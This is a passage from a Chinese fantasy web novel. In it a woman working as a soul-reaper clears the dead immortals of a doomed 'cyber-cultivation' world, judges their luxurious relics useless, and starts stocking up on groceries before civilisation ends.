卡多斯带着颜辞云来到手术台前那具年轻的尸体前，说：“拿起你的镰刀，岳灵倩小姐，你现在有看到尸体胸口正上方一尺位置的光点了吗？” 颜辞云凝神看去，眨了眨眼，又眨了眨眼。 而在颜辞云第三次眨眼时，她终于看到了……灵魂。 不是卡多斯所说的“光点”，而是一个在子宫般的球体里蜷缩沉睡的灵魂，与手术台上的死者一模一样的灵魂！ 而在这个“子宫”与尸体之间，还有一道若有若无的光带联系着，看起来倒有点儿像脐带。 颜辞云看了卡多斯一眼：“那、接下来，我要——？” 卡多斯说：“接下来，你需要用镰刀收割这个光点，而当这个光点脱离与肉体的联系后，你就可以将它收进死神外套里的空间袋了……记住，一定要用镰刀收割，并且只能在光点与□□断开联系后，才能用手触碰！ “否则的话，死者一生事无巨细的记忆会统统涌入你的脑袋里！相信我，那绝对不是一个好的体验。” 颜辞云点了点头，拿出镰刀，停留在“子宫”上方。 然而在她收割前，她的面前却跳出一个弹窗： 【作为死亡收割者，如今你面对这个无辜的灵魂的决定是：】 【赠予死亡/送回阳间】 颜辞云握住镰刀的手一紧，语气莫名：“卡多斯，我有一个问题……” 卡多斯：“什么问题？” 颜辞云：“……你们既然都是代理和行使死神职能的人……那你们可以起死回生吗？” 卡多斯奇怪道：“当然不行，你怎么会有这样的想法？一个生命能活多久、什么时候该死、什么时候能死，都是在一出生就注定了的，哪怕是死神也没有办法更改。” 颜辞云又一次沉默了。 如果死神都没办法更改……那…… 为什么她可以？ 颜辞云毫不怀疑，只要自己做下这个“送回阳间”的选择，这个躺在手术台上的尸体就会立即斩断死亡的阴霾，重回阳间！ 或许，以这位死者的性格，日后的她依然会重蹈覆辙，依然会被如影随形的死亡追赶上。 可至少在这一刻，颜辞云能赋予她飞离死亡的力量。 卡多斯像是想明白了什么，叹气道：“岳灵倩小姐，你是可怜她对吧？也是，也是，我都忘了，新上任的死魂收割人都会不忍心赋予自己的同类死亡…… “不过，不说别的，岳灵倩小姐，最多两个月，这个世界都会毁灭的，既然如此，眼前一个两个生命的死亡，比起日后亿万人的死亡来说，也不值一提、早走一步而已……这么想你会好过一点吗？” 颜辞云突然发现，她在系统里显示的称呼，是死亡收割者，而卡多斯的自称一直以来都是“死魂收割人”…… 明明只是一点点细小的区别而已，竟会在能力上有这样大的差别吗？ 颜辞云回神，平静说道：“生命是没有贵贱、也不能放在天平上以数量衡量的，卡多斯。我并不觉得因为两个月后世界要毁灭，所以现在这些死去的人的时间就不值一提……” 一顿，颜辞云又说：“不过，我也的确没有拯救他们的能力，所以，还是多谢你的安慰了，卡多斯。” 颜辞云挥下镰刀，斩断“脐带”。 没有“脐带”的束缚后，死魂脱离肉体，飘飘荡荡地飞了起来，颜辞云伸手将它捉住，放进死神外套的空间袋里。 此刻，颜辞云日常任务中的【2、斩尘缘，断生死】显示已完成，第三个任务随之浮出。 【3、送入轮回。】 这似乎是死神日常任务里的最后一环。 颜辞云侧头看向卡多斯，说：“我们现在要把这些死魂送去哪里？卡多斯，你说的那个轮回——‘轮回’是一个地点吗？它在什么地方？” 卡多斯摆手：“不急，最后的轮回可以等我们把九层的死魂收完后一起做。” 颜辞云心中蓦地咯噔一下，生出不妙预感。 果然，下一秒，卡多斯热情爽朗的声音就响了起来：“好了，岳灵倩小姐，你很有天赋，已经是一个合格的死魂收割人了，现在，我们就去九重天把那些游荡的仙人灵魂全部搞定吧！” 颜辞云：“……” 这一刻，在颜辞云的耳中，卡多斯的声音自动换成如下声音： 好的，你已经学会1+1=2了，现在，你去把哥德巴赫猜想解开吧！ 颜辞云对此只有一个想法： 啊？我去解哥德巴赫猜想？真的假的？ 第62章 一个误会 一定会将你高尚仁…… 在前往九重天的路上，颜辞云一直在“迅速快捷地跑路”和“郑重无声地潜行”之间犹豫徘徊。 而就在颜辞云思来想去，艰难决定要不还是“迅速无声地消失”的时候，蓦地，她听到身旁的卡多斯发出了赞叹声音： “太好了，岳灵倩小姐！果然，我就知道还是你这样的本地死神比较有办法……现在九重天的大门已经打开了，请你稍等一下，我马上把我的同事们叫过来！” 颜辞云：“……啊？” 门打开了？ 什么时候？ 谁开的？ ——我？ 颜辞云左看右看，怎么看怎么觉得自己的面前也就是一片平原而已，于是在卡多斯离开前，颜辞云下意识一把抓住了他。 “怎么了，岳灵倩小姐？”卡多斯疑惑回头看她。 颜辞云张了张嘴，最后还是硬着头皮道：“抱歉，我只是想问……九重天的……门呢？在‘开门’的这件事上，我似乎并未能做出什么贡献吧？” 或许有些人面对别人的迪化流马屁可以安之若素，点头一口应下：没错，就是我，我就是这样想/做的。 可颜辞云是个实在人。 她最多有点囤积癖而已，平时连谎话都不带说的——最多隐瞒点关键词。 颜辞云觉得，像自己这样的性格，是绝对当不了迪化流的主角的，最多只能当当为了真相勇往直前的侦探……哦，说她本性其实也不算勇敢？ 嗐，面对卡多斯这样的武力值，颜辞云觉得自己还是能很勇敢的。 卡多斯闻言，惊讶看颜辞云：“岳灵倩小姐，你太谦虚了，这一路上的九道门全是你以一己之力打开的，你怎么能说你没有做出任何贡献呢？” 颜辞云：“……九道门？” 原来她还开了不止一道门而是九道门？可她明明——不对！ 颜辞云突然想到了自己这一路上做了什么跟“九”挂钩的事：“卡多斯，你的意思是难道是……那些山，那些火，还有那些风和水？” 卡多斯理所当然点头：“当然，那些以地火水风为元素结成的阵法，如果不是靠岳灵倩小姐你的鼎力相助，我们可没办法直接穿过它们，比如说那张纳入无数地元素的‘山河易形阵图’……” 颜辞云：“你说那幅被我用赶山鞭打破的山水图？” “是的，还有接下来以火元素为核心的十八层地狱降令……” 颜辞云：“你是指那个被我用八方神火鞭打下来的铁牌？” “没错，以及以水元素为主的寒冰炼狱六宫阵……” 颜辞云：“你在说那个被我用邪龙噬雷枪吸收所有水炁后变成废墟的宫殿？” “是的，是的！还有接下来的罡风十三法、天雷魔心图录、万魔食身法阵、水火灾气咒、天翻地覆法，和最不可思议的万里江山无尽图！” 卡多斯像是忍了许久的感慨了，在被颜辞云这样一问后，便滔滔不绝地向颜辞云倾倒。 “这些关卡对能量的细微操纵与极致运用，几乎达到了出神入化的水平，甚至抵达了我们世界的盲区！而就是这样的极致运用，也在岳灵倩小姐你的手下不堪一击……不可思议，这是何等不可思议的神迹啊！岳灵倩小姐，这就是你伟大力量所创造出来的神迹啊！” 颜辞云：“……” 颜辞云摸了一把脸，没有摸到口水，但已经有了被人抓着大喊“伟大的脸”的尴尬感了。 而且，出神入化……吗？ 颜辞云开始回想自己一路上来几乎没有闯关感的“关卡”。 该说不说，颜辞云觉得这些名字各种高大上的“关卡”，其实根本就不比颜辞云小世界里朴素的“换季”带给她的麻烦大。 至少换季逼得她撑起三天三夜的龙种力场，并且换季结束后还要她花大量时间清点大地上因换季而对地形及生物群造成的伤害，该修修该补补。 而这个九重天的“关卡”特别是最后的“万里江山无尽图”……说实话，颜辞云也不过是掏出赶山鞭，把挡在自己面前的山两鞭子抽走，再喷了一口火，把碍事的大海烧干，就完事了。 要说难度？ 完全不存在！ 颜辞云忍了又忍，好悬没有把“你说的’出神入化‘和‘完全没办法处理’就只有这个水平吗”说出口。 卡多斯：“所以，岳灵倩小姐你大可不必这样谦虚，因为如果没有岳灵倩小姐你的包揽和处理、没有你这位本地神祇的一路帮助，我们是绝对没办法越过九重天的这九道门的，而没办法越过门，我们的这一单工作就不会成功，我们的工作不能成功，这个世界的轮回就无法正常开始……说来说去，一切的功劳都在你啊，岳灵倩小姐！” 在抒发完对颜辞云这位“本地死神”的赞美后，卡多斯用力握了一把颜辞云的手，像是握着有革命情谊的同志的双手： “所以请放心吧岳灵倩小姐，你的力量和你对我们死魂流转公司慷慨的帮助，我们一定会铭记在心，并且一定会将你高尚仁慈之名传遍每一个角落！” 颜辞云：“这倒也不必……” “接下来，我会马上去把我等待在八重天的同事们叫来，以最快的速度把九重天的死魂清理干净，争取在五天之内还岳灵倩小姐你以及这个世界一个干干净净的顶层！请放心，收割死魂清理死魂，我们绝对是最专业的！” 卡多斯说完，昂首挺胸，转身就走。 颜辞云在他身后伸出手：“等等，那‘轮回’——” 卡多斯头也不回地摆手：“最多三天后，轮回天道就会在九重天的最顶层开启，最多两个月后，这一纪元的文明就会彻底终结……岳灵倩大人，接下来就请你自由活动吧，等我们清理干净顶层的死魂，就会来找你的！” 颜辞云：“……” 颜辞云曾经觉得卡多斯对待自己像同事，后来觉得卡多斯对待自己像同志，而现在……卡多斯怎么连“岳灵倩大人”都蹦出来了？ 思考无果，而卡多斯又已经走远，颜辞云最后也只能挠挠脸，回神，目光顺着自己脚下辽阔的大地，一路看向远处笼罩在云雾中的群山，最后在群山深处如梦如幻的宫殿群上定格。 “那就是……‘仙界’吗？” 颜辞云若有所思。 “说起来，我还没见过仙人……”哪怕是死的，“也没见过仙尸呢……” 去看看？ 颜辞云心念一起，身形便幻化成风，倏尔远去，瞬息万里。 不过，颜辞云不知道的是，她的“同事”卡多斯在狂奔出九重天，下到八重天，和八重天据点处的第一个同事汇合后，就迫不及待地凑了过去，一脸神秘： “天呐，萧千雪，你知道的吧，我刚刚去接这个世界新诞生的本地死神了……” 萧千雪不以为意：“当然，大家都知道你去接她了，怎么样？她能打开九重天的——” “不不不！你不知道！”卡多斯打断了萧千雪的话，脸上的表情越发神秘、越发兴奋，“萧千雪，我告诉你一个秘密——她其实根本不是本地的新生死神！” “不是？为什么？”萧千雪越发困惑。 卡多斯手舞足蹈：“因为以她的力量而言，别说是我们这样的死魂收割人，就连真正的神恐怕都不能比拟！” 萧千雪吓了一跳：“可，可这个世界的意识明明告诉我们‘有同伴来了’……” 卡多斯神秘四顾，小小声说：“它在撒谎！” “啊？” 世界意识还能撒谎的吗？ 看出萧千雪的越发震惊，卡多斯肯定道：“当然能撒谎，因为它不能暴露那位小姐的身份！” “什么身份？” “至高神的身份！”卡多斯信誓旦旦，“我发誓，那位小姐，绝对才是这个世界真正的至高神！！” 第63章 真正价值 这不是完全走偏了…… 颜辞云对仙人很感兴趣。 虽然如今这样的兴趣被打了折扣，但这完全不是因为“仙人们”变成了“仙尸们”，而是因为九重天门前的“九重锁”太没有难度了，以致于颜辞云心中原本满载的期待一下子跌到谷底。 但是，且不提那些还不知身在何处的仙尸们，光是瞧九重天上的建筑与地形的话，还是很令颜辞云惊叹、很有借鉴意义的。 九重天世界的本体，是一株硕大无朋的世界树，它上通九霄，下达幽冥，每一根伸出去的枝干，都自成一片广袤无垠的地形。 人类比起这棵树而言，渺小得如同蜉蝣，因此不知道从什么时候开始，人类开始向这株世界树索取，如同向大地索取那样；而后，不知道又发生了什么变故，人类放弃了大地，开始围绕着这颗世界树建立文明，将世界树改造成了更适合他们生存的地方。 枝干变成了大地，树液变成了灵脉，露水凝聚成湖，落叶垂落为山。 这一切的改造和改变，都与“仙术”是息息相关的。 因此，在来到九重天后，颜辞云直奔最高处的宫殿而去，想要从中找到一些有用的“地形改造”知识。 在颜辞云看来，像改造地形这种记载着珍贵知识的秘籍，必然是要妥善安放在最高、最妙、最好的地方的，毕竟只有这样，才能对得起人们在学问这条路上每登上一道台阶时所付出的努力与艰辛吧？ 但不是。 颜辞云闯入最高层的宫殿后才发现，这儿一丁点儿关于“知识”的玩意儿都没有。 有的只是一个个华丽的房间，以及房间内或立或坐、形态各异、披金绘银的雕像。 房间不住人，而住的雕像？ 为什么？ 颜辞云糊涂了：莫非是这雕像内部有什么玄机？ 在颜辞云稀里糊涂的记忆里，她依稀记得，在某某小说里，只要对着某某雕像虔诚磕头数次，就会得到一本高深的秘籍； 又比如说某某小说里，雕像本身就是一件沉睡已久的外星武器，只要拿到遥控器就可以唤醒它看它变身巨神兵……又或者说这些雕像本来就是活的？！ 抱着这样的期待，颜辞云对着这些雕像研究了半天。 可最后，颜辞云失望发现，雕像就是普通的雕像，它们什么都奥秘都没有。 哪怕它们再像人，也只是雕像而已。 在仙界探索的第一座宫殿就让颜辞云大失所望。 她又是泄气又是不解，离开雕像宫，转身向山下走去。 在仙界倒数第二高的宫殿里，颜辞云依然没有看到知识的载体，也没有看到活物的痕迹，而只有一件件被供奉在高台上的器具。 这些器具的外观华丽，却又冰冷至极，没有半点人气，而在它们的下方，则是有文字详细记录着它们的来历： 寂灭元阳弩，曾射杀过太阳之精化作的金乌，名噪一时，但随着它的使用者的死去后，世上再也没人能使用这把弩，因此它被妥善收于此地，成为代表仙界最高荣耀之一的展品…… 空无天问轮，曾斩杀了从九霄罡气中化形而出的魔头，一度被称作世上最锋锐的武器，但随着时移世易，和平安宁的世界再也不需要这样锋芒无匹的武器了，于是它也被其所在的家族献上，成为了妆点仙界荣誉的簪花…… 还有太初紫莲旗，以九重天第一朵紫莲为核心，炼制的六面小旗，可以用来布阵，进能困人，退能拒敌…… 以及巫真骨柄塔、太虚镏金刀、追日涅槃剑、天霄绣金珠…… 一件又一件放在外界能令无数人打破头的法宝，此刻却都如货架上的商品一样摆在颜辞云面前，任由颜辞云予取予求。 在仙界所有人都死掉了的情况下，颜辞云无论拿走了什么，都不会被人指责、不会有任何后遗症的。 但颜辞云转了一圈后，没有带走它们的意思，只是摇头，为自己眼前看到的一幕感到困惑： “真奇怪啊，仙界明明是属于人类的文明，但被人类供奉在这个文明顶层的，却偏偏都是一些死物……为什么呢？” 颜辞云想不明白，也没准备想明白。 她转身离去，继续向下一层走去。 而直到来到这一层，颜辞云才终于看到一点“人气”： 一场本在进行、却被突如其来的死亡中止的宴会。 很遗憾颜辞云的见识不多，所以她没办法想象当宴会上的一切都动起来的时候，那会是怎样流光溢彩、不似凡间的一幕。 是仙音渺渺，仙气飘飘吗？ 是不是会有无数仙子步入宴会，载歌载舞，还有无数仙酒呈上，言笑晏晏？ ……大概是这样吧。 只不过此时此刻，无论是那些取悦人的还是被人取悦的，都倒在地上，呼吸断绝。 只有桌上杯盘里，菜肴与酒的香气飘荡。 颜辞云的目光本是随意地飘过此处，但很快的，她想到什么，一呆后又一惊，迅速回神：不对！ 如果她没记错，这些“仙人”应该死了不短的一段时间了吧？ 但这些菜和酒竟然还是热的？ 保温效果这么好的吗？ ——一定要带几套回去！ 哦，对了，还有！ 像这种文明高度发达的世界里，一定不会缺好用的桌椅炉具、厨卫设施、洗涤用具、床上用品、油盐酱醋之类的吧？ 甚至一些有用的流水线设备也可以带走嘛！ 再来几套发电机，简直完美！ 别人在荒野求生，她在荒野度假。 这难道不愉快吗？ 为什么要死磕什么秘籍不秘籍的？ 她最该从这个世界拿到手的东西，根本不是秘籍，也不是法宝、仙器、灵石、灵脉、仙根…… 这些东西，对她来说都是无用之物！ 真正对她有用的，是伴随着这个世界诞生的现代化设备、以及它们的制作方法，是一代代精细加工、改良过的调料与酱汁，是人们密不外传的菜谱和酒方。 当然，最重要的，则是这一整个文明的知识库啊！ 这世上，有什么东西能证明一个文明存在过？ 是高不可攀的建筑吗？是焚山煮海的力量吗？还是高高在上的雕像、锐不可当的武器、展示身份的仙宴？ 不，都不是。 唯有那些由一代代人们的智慧积累、凝聚而成的知识，才是真正的文明底蕴！ 就像是被天外灵光点破了认知的迷障。 此时此刻，颜辞云那颗在听到“修仙”两字后就被震住、生出无限探究无限向往的脑瓜，终于恢复了它应有的冷静和灵活，从千头万绪中理出了真正有用的线头。 想想看吧，当颜辞云在雾中前行，看到“星星”上满布钢铁森林时，她第一时间想到的是什么？ ——太好了，我简陋的厨房、卫生间、客厅、卧室、活动室、娱乐房终于有救了！ 而在降临这个世界后，她一直在干什么？ ——兼职死神、看别人是如何在赛博修仙里卷生卷死的。 这不是完全走偏了嘛！ 这一刻，明白了自己接下来到底该干什么的颜辞云，终于结束了自己漫无目的的闲逛，决定拨乱反正了。 而拨乱反正的第一步是： 大采购！ 第64章 无用 颜辞云一路向下，没有…… 所谓的大采购，必然需要一个长长的、清晰的，并且目标明确的清单才行。 否则当那些琳琅满目的商品闯进眼睛里，人就很容易忘记自己的初衷，导致在超级市场里逛了三四个小时出来后，把手上大包小包的打开一看，发现里头竟然没有一个是自己最开始想买的东西。 颜辞云对这样的事可熟悉了，毕竟她在树屋里清点和分类物资的时候，就很容易把注意力偏转到制作台上，导致最后物资没清点完，反而又多了一堆乱七八糟的东西。 深受此苦的颜辞云，决定一定要先在九重天上把清单列好，再去采购！ 不过，到底该买些什么呢？ 以颜辞云的常识来说，买点油盐酱醋美食美酒日常用品就差不多了，反正其它的东西她也不缺，而那些被人趋之若鹜的法器法宝，在颜辞云看来也不过是能在制作台随手做出来的玩具而已，不值一提…… 但是，别忘了，这儿可不仅仅是修仙的世界，而是赛博修仙的世界呀！ 按理来说，这样不可思议的世界里应该会有什么针对性的好东西才对，奈何颜辞云对这里不太熟悉……等等，有了！ 颜辞云眼睛一亮，回到仙宴会厅，从地上的一具尸体身上摸出了万界连通器——简称手机。 也不知道这“仙人”生前都给自己身上下了什么禁制，当颜辞云从他口袋里摸出手机时，那真是一路火花带闪电，甚至在颜辞云拿他脸解锁手机时，差点闹出了大爆炸！ 还好颜辞云眼疾手快，一个瞪眼把爆炸的火苗按灭于无形，点开这名“仙人”彻底解锁了的手机，点开搜索器，用她在岳灵倩记忆里学到的半生不熟的拼写法一个个打字： 【如果到了末日，你会准备一些什么？】 确定，输入！ 连0.1秒都不到的时间，搜索结果倾泻而下。 颜辞云看着这么多搜索结果，暗自赞叹自己果然是个天才。 之后，颜辞云迅速点开这些搜索结果，像是翻阅朝臣奏折的皇帝那样，将这些机灵人的点子和抖机灵迅速扫过，再结合自己的实际情况分析后，记在了系统备忘录里。 是的，当然，作为颜辞云的金手指，系统当然是有备忘录的。 首先，是每一个人都会提到的物资重中之重——食物和水。 这两样东西颜辞云其实是不缺的。 她真正缺的，是油、盐、糖、醋、酱之类的调味品。 除此之外，还有许多人提到过的罐头、压缩饼干、方便面、自热火锅等，颜辞云则是不以为然：能吃新鲜的为什么要吃冷冻的？能吃现做的为什么要吃速食？ 而至于有些人提议的“可大量囤积辟谷丹和营养液”，颜辞云更是半点都不考虑！ 老天，她光是从岳灵倩的记忆里回想一下辟谷丹和营养液的口感，就险些要吐出来了。 还“辟谷丹”“营养液”呢……请叫它生命体征维持药品！ 当然，从岳灵倩的记忆里，颜辞云还了解到，这些“生命体征维持药品”也有口味丰富的。只不过它们价格昂贵，只供给一些特殊人群，想要拿到不但需要钱，还需要权、要走一些特殊渠道……但颜辞云又何必走这个特殊渠道去拿这些口味丰富的猪食？ 跳过跳过。 还有每个人都提到的水过滤系统和净水药片。 关于水过滤系统，颜辞云大致搜了一下，发现有用电力运行的也有用炁运行的，二者在效果上没有太大差别，并且它们的价格都非常便宜，便宜到让颜辞云甚至怀疑这是不是在智商税。 颜辞云狐疑，继续在搜索栏输入问题： 【为什么水过滤系统的价格那么便宜，它们真的有用吗？】 结果很快跳出。 颜辞云定睛一看，发现水过滤系统的价格之所以便宜，是因为净水药片的效果太好了，并且使用方便，这才把笨重的过滤系统的价格狠狠打了下来。 那净水药片又有什么效果？ 颜辞云看了十来张比对报告和十来篇软文后，得到如下结论： 过滤淡水，让淡水的口感更好。 颜辞云：“我￥#你&@……” 于是，删删减减后，颜辞云在备忘录的第一栏里写下了简单的三个字：调味品。 想了想后，颜辞云又打了个括号，写上“在五重天以下的普通超市购入”。 是的，说到这个备注，就不得不提这赛博修仙世界里又一个让颜辞云汗流浃背的现象了，那就是住在五重天到八重天的高级修士们，原来都是不吃不喝不眠不休的。 他们视进食和休息为低级乐趣，早早地把它们从生命中进化掉了。他们活着的全部心神和所有努力，都是为了登上仙界，成为仙人，因此，从五重天到八重天这整整四层世界里，别说一个售卖食物的地点了，就连一个能称得上娱乐场所的地方都没有！ 那么，被这些修士仰望着的、无限向往着的仙人们的生活又是如何？ 是如同底层凡人和低级修士们想象的那样忧国忧民吗？还是个人专集里整日为了维持世界的运转而奔波、为了天下的修士谋福祉？又或者是像小说里那样，为了文明的长久发展而钻研术法、不眠不休？ 其实都不是。 颜辞云随手收割了几个“仙人”的灵魂，从他们的记忆中粗浅地了解一下“仙界”的基本运转模式，然后颜辞云就发现，这群居住在“仙界”的仙人们，平时除了日日宴饮、寻欢作乐之外，竟再也无事可做。 毕竟，想一想吧，当一群人站在了世界的最高点，前方再没有了坎坷和需要攀登的台阶，没有了奋斗的目标和敌人，整个世界都任他们索取的时候，他们会做什么？ 享乐。 当然是享乐。 甚至是报复性享乐，歇斯底里地索取，把那些他们从前想要拥有却因种种原因无法拥有的东西，变本加厉地强夺过来。 并且，只要被抢夺的那一方背后没有强势的仙人作为靠山，那么哪怕他们被仙人挫骨扬灰、飞灰湮灭了，也不会有什么人跳出来多一句嘴，甚至只要仙人们想，他们还能用遮蔽天机的方式将这些人的存在统统抹除，这样一来，连仙人为恶过的痕迹都不会留存。 颜辞云看到这里，不由得摇头感慨：除了仙人就是待宰的猪，难怪人人都想要成为仙人呢，毕竟也不会有人甘愿当猪不是？ 但一顿，颜辞云想到一重天的那些人，又一次摇头：也不对，因为，哪怕是猪圈里的“猪”，也是有许多人争破头想当的，甚至还不是人人都能当的…… 嗐，算了，想这么多干什么呢。 反正这个文明要结束了。 颜辞云随手收割完仙宴会厅上的灵魂后，把这些生前呼风唤雨的人上人的灵魂往空间袋一塞，将它们与那个一重天跳楼自杀的学生、二重天死在手术台上的修士的灵魂堆在一块儿，分不出彼此。 接着，颜辞云拿着手机，一边向下一个宫殿走去，一边继续看“朝臣”们的奏折。 通讯设备、交通设备和文件之类，颜辞云不做考虑。 倒是急救用品有点意思。 这个赛博修仙的世界，倒腾出了一个特殊的以药液为主的医疗体系。 这儿的人，小病磕点丹药，三天好转；伤筋动骨缺胳膊断腿这类不大不小的病，往洗澡池里丢一片浓缩药片，三天好转。 而唯有□□被摧毁大半的、只剩一口气的、与灵根、仙骨、诅咒、灵魂相关的，以及一些连自己都捉摸不清的病症，才需要去医院看医生，医生则会按照病症，把病人送进不同的药液仓，唯有换灵根抽灵根、换仙骨抽仙骨的时候，才会需要上手术台。 总之，这是一个大部分病症都可以通过“泡澡”治疗的医疗体系。 或许她可以囤积一些？ 虽然感觉可能对她没什么用……但当入浴剂也可以呀！ 于是，在系统备忘录的第二行，颜辞云又写下两个字：药液。 不过，药液这种东西，什么地方的最好？ 医院？医疗企业？研究所？ 不，都不对！ 而是仙界的收藏室！ 颜辞云向宫殿群的下方走去，一边收割仙人们的灵魂，一边查探他们的记忆，很快便找到了这座宫殿群的药液收藏室的位置。 在仙界，带上“收藏”这二字的地方，大多都是守卫森严的，而如今，哪怕这处收藏室的活人守卫都死了，但死人守卫还会动，因此为了避免麻烦，颜辞云把身上唯一的实物——那只顺来的手机，随手丢在殿外，自己则隐入生死夹隙，悠然穿过大门，飘进收藏室，准备搜刮一波大的。 但颜辞云拿起收藏室的清单目录，准备对照着丹液效用开始收集时，她凝神一看丹液的制成过程，眼皮子便开始不断跳动起来。 万寿洗身液：以白焰圣泉为基底，萃取一万滴活到万载的万寿龟眼底泪融入，辅以十名阳年阳月阳时出生之女的紫河车等药材制成。以此丹液洗身后，哪怕是毫无灵力的凡人也能延寿千年。 颜辞云：啊？不是，你说这是用什么做的？ 炁归不老方：取仙鹳、仙鹤、妖犀、妖虎、恶龙、恶凰等一千种妖兽金丹捣碎，辅以千里白、宝芝、仙莲等药材，浸泡九百九十九年而成，服之可用不衰老。 颜辞云：你挖了那么多妖兽的金丹，又沉淀了整整一千年，就为了“不老”？ 还有什么金枪不倒液，这个直接跳过。 真服了，都成仙人了怎么还琢磨这事儿呢。 以及九霄辟神露，名字听着高大，其实就是助兴药和双修辅助药。 颜辞云一路看下去，一路皱眉。 她发现，这收藏室里的玩意儿，虽然对九重天世界的人们来说，都是一些难得的好东西，甚至是“最好”的东西，因为想要将它们制成，无不是需要一大堆惊人的材料，或是长得吓人的年份……可关键是，这些东西的“好”，对颜辞云这种务实派毫无用处。 它们更像是一种昂贵的奢侈品，其存在的意义不是“被人使用”，而是为了昭示使用者的身份是多么高不可攀。 至于颜辞云这样的普通人，既买不起，也用不上。 “无聊。” 乘兴而来败兴而归的颜辞云，随手把手上单子一扔，转身离开。 但，离开前，她脚步一顿，转身来到收藏室的超级计算机前，把这台并没有储存多少资料、只是摆在这里显得牛逼的超算整个拆下，塞进系统物品栏。 “整个收藏室里，恐怕只有你有用一点了。” 颜辞云笑了一声，蓦地抬手，手中的镰刀飞出，击碎了所有的药液仓。 而随着药液仓一个接一个的碎裂，刺耳的警报声骤然响起，在这个无人的宫殿群内尖锐鸣叫。 这一刻，所有的傀儡守卫都行动了起来，全副武装地来到收藏室。 但怎么都找不到敌人又没有得到主人更多指令的它们，最后只能被简陋的运行逻辑卡在原地，茫然四顾，无法前进，也无法后退。 “搜索中……未寻找到敌人。” “搜索中……未寻找到敌人。” “搜索中……” 死板的声音在只有死亡与破灭的宫殿中一遍遍回响。 颜辞云越过它们，拾起宫殿外的手机，继续翻看网友们的“末日建议”。 “算了，看来九重天上全都是垃圾，一点有用的东西都没有……”颜辞云轻声呢喃，“果然还是应该直接去一重天。” 颜辞云一路向下，没有回头。 第65章 假如文明毁灭 这就是一个文…… 颜辞云只有三天自由活动的时间。 三天后，轮回天道就会在九重天的最顶层开启，届时，颜辞云也将正式开始自己[界外死神]得任务，为了获取技能点而肝得全力以赴。 所以颜辞云必须要抓紧时间。 关于收购物资之类的事宜，颜辞云此刻其实完全可以利用手机原主的人脉，命令那些攀附他的家族们给颜辞云提供一笔庞大的物资——由这些专业人士准备的东西，一定比颜辞云自己动手来得更齐全、快速、准确。 之后，最多两个月，这个文明就会毁灭，到时候，面对一群死人，颜辞云的欠债自然也是一笔勾销。 倘若颜辞云的道德感再高一些，她也可以从自己的美人绶囊里随便取出一个玩具交给对方，当作是一场正常的交易。 ……但颜辞云不想这样做。 究其原因，还是在于那一句话：不想要跳入别人的游戏规则里。 颜辞云对这个世界的运行规则，依然不算熟悉，可是光凭她目前了解的这些信息，她就能想象得到，当她利用手机原主人的人脉向下级家族发出收集物资的命令后，会有多少人加班加点为她奔波，会有多少蝴蝶风暴因她而起，又会有多少底层凡人和低级修士的汗水与血泪因她这随口的一句吩咐被当作灯油点燃。 颜辞云无法对这一切视而不见，无法自欺欺人地告诉自己“他们是自愿走入这个吃人的规则里的，我没有做任何事，只是喝了一口汤”。 颜辞云有个非常朴素的观念，那就是如果不能拯救他人的话，至少不要加害他人。 同时，颜辞云也明白自己并不是一个擅于思考的哲学家、政治家，她能做到的最大限度，就是不跳入他人的规则游戏里。 所以，没错。 颜辞云打算自己一个人来。 哪怕她一个人的思虑不够周全、收购得不够完备又怎么样？ 她本来就已经足够幸运了，得到了一个足够完美的金手指，让她得以在荒芜的世界里也过上自给自足的生活。更好一些的物质条件对她来说，也只能算是锦上添花。 既然如此，她又何必非要为了追求食不厌精脍不厌细而令自己的心灵失衡，陷入焦虑呢？ 并没有花太多时间，颜辞云就做好了决定。 她回到一重天，在某个角落里使用死神外套将自己从灵魂状态转化为实体。 之后，颜辞云又打开人物面板，仔细观察，发现如今的她依然开着“岳灵倩”的号，并且全身上下除了奇装异服外再没有什么值得注目的地方后，这才松了口气，走出角落。 她先是来到金店，准备把自己物品栏里比较值钱的东西——金子和钻石卖掉。 可钻石这种东西，很大部分价值在于宣传形成的溢价，金子的收购价虽然还算不错，可远没有达到颜辞云的心理预期。 这样想着，颜辞云干脆拿出美人绶囊里对她没什么价值、唯独外观拉风的三样装备——瑶台听风琴、孤光映月剑、无踪飞花针，展示给金店旁边的当铺老板。 那老板看了又看，摸了又摸，最后给出了一个还算不错的价格。 “十三万？” 颜辞云想了想自己制作这些玩意儿的材料，再想了想自己要买的东西，本想要一口应下。 可瞥一眼当铺老板竭力保持平静的脸，颜辞云蓦然间心有所感，一个数字浮上心头：“二十四万。” 当铺老板一惊，有一瞬间脸上肌肉抽搐，似乎是没想到颜辞云竟然踩线这样精准，一口就咬死在了他的底线上。 可想一想后，当铺老板还是一咬牙：“成交！” 颜辞云抽出一张卡：“充值到这张购物卡上。” “啊？哦……” 当铺老板不理解，但尊重。 五分钟后，颜辞云看到自己新办的超市购物卡上到账七十二万。 颜辞云：“……” 原来是每一样二十四万啊？！ 行吧，还好万家是一个综合购物超市，里头东西还蛮多的，不愁花不完。 收起购物卡，颜辞云进入超市，开始扫货。 超市里的人不多。如今，大部分人都选择在网络上购物，会来超市的人本就少之又少，而真不愿意等物流的花，超市自己也提供了线上购物的渠道，只要点开小程序，确认付款后，就能让超市送货到家，所以哪怕万家是附近最大的超级市场，也一直显得冷冷清清。 不过颜辞云更喜欢看到实物的感觉，也不介意冷清，一踏入超市就兴致盎然地逛了起来。 颜辞云想买的一样东西是油。 油的种类有很多，但基本可分为适合煎炒油炸的、适合低温凉拌的，和适合制作面包甜点的。 橄榄油、茶籽油、玉米油、豆油、花生油、芝麻油、猪油、牛油、黄油、椰子油……等等。 颜辞云也不管自己喜欢哪样、常用哪样，反正货架上的每一样，她都购入了不少，很快就把自己的购物车装满了。 但没关系，这里结算和装货都是全自动的。 颜辞云随手把购物车推进结算通道刷卡，再拉出一辆新的购物车，继续装货。 接下来，颜辞云要买的是盐。 盐的种类大致可分为岩盐、海盐、湖盐、井盐和竹盐。在这趟异世界旅行的前不久，颜辞云其实就已经大致把海盐倒腾出来了。 但通过晒制这种最简陋方法提炼出来的海盐，也叫粗盐，虽然味道还行，但也就是还行而已。 想要用这种盐就把霸王鼎和水火炼葫出品的食物提升到一个新的美味境地，那是想都不要想。 最多也就提升一下颜辞云自己用平底锅做菜的口感。 而如今，摆在颜辞云面前的盐可谓是应有尽有，不但有常见的岩盐、海盐、精致盐，还有低钠盐加碘盐加锌盐加钙盐玫瑰盐营养盐补血盐补炁盐！ 颜辞云看得那叫一个目瞪口呆、大开眼界。 没得说，又是堆满一购物车。 